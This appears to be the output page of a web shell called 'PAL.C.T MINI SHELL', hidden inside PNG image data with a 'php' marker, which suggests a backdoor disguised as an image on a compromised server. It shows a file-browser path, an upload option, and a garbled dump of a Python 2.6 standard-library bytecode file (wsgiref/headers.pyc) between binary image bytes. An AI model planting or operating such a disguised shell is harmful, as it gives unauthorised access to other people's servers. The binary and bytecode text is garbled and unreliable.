php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/wsgiref/
upload
files >> //usr/lib/python2.6/wsgiref/headers.pyc

Lc@s]dZddklZlZddkZeidZdddZdd	dYZ	dS(
sManage HTTP Response Headers

Much of this module is red-handedly pilfered from email.message in the stdlib,
so portions are Copyright (C) 2001,2002 Python Software Foundation, and were
written by Barry Warsaw.
i(tListTypet	TupleTypeNs[ \(\)<>@,;:\\"/\[\]\?=]icCs~|dj	oit|djoV|pti|o-|iddidd}d||fSd||fSn|SdS(	s~Convenience function to format and return a key=value pair.

    This will quote the value if needed or if quote is true.
    is\s\\t"s\"s%s="%s"s%s=%sN(tNonetlent	tspecialstsearchtreplace(tparamtvaluetquote((s%/usr/lib/python2.6/wsgiref/headers.pyt_formatparams tHeaderscBseZdZdZdZdZdZdZdZeZ	dZ
ddZd	Z
d
ZdZdZd
ZdZdZRS(s,Manage a collection of HTTP response headerscCs0t|tj	otdn||_dS(Ns+Headers must be a list of name/value tuples(ttypeRt	TypeErrort_headers(tselftheaders((s%/usr/lib/python2.6/wsgiref/headers.pyt__init__.scCs
t|iS(s9Return the total number of headers, including duplicates.(RR(R((s%/usr/lib/python2.6/wsgiref/headers.pyt__len__3scCs!||=|ii||fdS(sSet the value of a header.N(Rtappend(Rtnametval((s%/usr/lib/python2.6/wsgiref/headers.pyt__setitem__7scCsS|i}g}|iD](}|di|jo||qq~|i(dS(syDelete all occurrences of a header, if present.

        Does *not* raise an exception if the header is missing.
        iN(tlowerR(RRt_[1]tkv((s%/usr/lib/python2.6/wsgiref/headers.pyt__delitem__<scCs
|i|S(sHGet the first header value for 'name'

        Return None if the header is missing instead of raising an exception.

        Note that if the header appeared multiple times, the first exactly which
        occurrance gets returned is undefined.  Use getall() to get all
        the values matching a header field name.
        (tget(RR((s%/usr/lib/python2.6/wsgiref/headers.pyt__getitem__Ds	cCs|i|dj	S(s/Return true if the message contains the header.N(RR(RR((s%/usr/lib/python2.6/wsgiref/headers.pythas_keySscCsM|i}g}|iD],}|di|jo||dqq~S(sqReturn a list of all the values for the named field.

        These will be sorted in the order they appeared in the original header
        list or were added to this instance, and may contain duplicates.  Any
        fields deleted and re-inserted are always appended to the header list.
        If no fields exist with the given name, returns an empty list.
        ii(RR(RRRR((s%/usr/lib/python2.6/wsgiref/headers.pytget_allZscCsB|i}x/|iD]$\}}|i|jo|SqW|S(s:Get the first header value for 'name', or return 'default'(RR(RRtdefaulttktv((s%/usr/lib/python2.6/wsgiref/headers.pyRfs
	cCs(g}|iD]\}}||q~S(s*Return a list of all the header field names.

        These will be sorted in the order they appeared in the original header
        list, or were added to this instance, and may contain duplicates.
        Any fields deleted and re-inserted are always appended to the header
        list.
        (R(RRR!R"((s%/usr/lib/python2.6/wsgiref/headers.pytkeysoscCs(g}|iD]\}}||q~S(s!Return a list of all header values.

        These will be sorted in the order they appeared in the original header
        list, or were added to this instance, and may contain duplicates.
        Any fields deleted and re-inserted are always appended to the header
        list.
        (R(RRR!R"((s%/usr/lib/python2.6/wsgiref/headers.pytvalues|scCs|iS(sGet all the header fields and values.

        These will be sorted in the order they were in the original header
        list, or were added to this instance, and may contain duplicates.
        Any fields deleted and re-inserted are always appended to the header
        list.
        (R(R((s%/usr/lib/python2.6/wsgiref/headers.pytitemsscCsd|iS(NsHeaders(%r)(R(R((s%/usr/lib/python2.6/wsgiref/headers.pyt__repr__scCs9dig}|iD]}|d|q~ddgS(skstr() returns the formatted headers, complete with end line,
        suitable for direct HTTP transmission.s
s%s: %st(tjoinR(RRR((s%/usr/lib/python2.6/wsgiref/headers.pyt__str__scCs?|i|}|djo|ii||f|S|SdS(sReturn first matching header value for 'name', or 'value'

        If there is no header named 'name', add a new header with name 'name'
        and value 'value'.N(RRRR(RRR	tresult((s%/usr/lib/python2.6/wsgiref/headers.pyt
setdefaults

cKsg}|dj	o|i|nxf|iD]X\}}|djo|i|iddq1|it|idd|q1W|ii|di|fdS(sfExtended header setting.

        _name is the header field to add.  keyword arguments can be used to set
        additional parameters for the header field, with underscores converted
        to dashes.  Normally the parameter will be added as key="value" unless
        value is None, in which case only the key will be added.

        Example:

        h.add_header('content-disposition', 'attachment', filename='bud.gif')

        Note that unlike the corresponding 'email.message' method, this does
        *not* handle '(charset, language, value)' tuples: all values must be
        strings or None.
        t_t-s; N(RRR%RRRR((Rt_namet_valuet_paramstpartsR!R"((s%/usr/lib/python2.6/wsgiref/headers.pyt
add_headers


&N(t__name__t
__module__t__doc__RRRRRRt__contains__RRRR#R$R%R&R)R+R2(((s%/usr/lib/python2.6/wsgiref/headers.pyR*s"									
	
	
			
((
R5ttypesRRtretcompileRRRR(((s%/usr/lib/python2.6/wsgiref/headers.pyt<module>s

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`